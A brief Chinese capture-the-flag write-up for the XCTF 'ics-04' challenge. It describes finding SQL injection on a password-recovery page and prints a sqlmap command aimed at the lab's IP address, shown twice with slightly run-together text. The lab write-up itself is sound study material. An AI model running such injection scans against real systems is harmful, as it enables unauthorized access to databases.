[wp] 攻防世界 ics-04

嘗試註冊登錄帳號 掃了下目錄沒發現什麼,用sqlmap把每一個頁面跑過去,發如今找回密碼頁面有注入php sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1"

>>阅读原文<<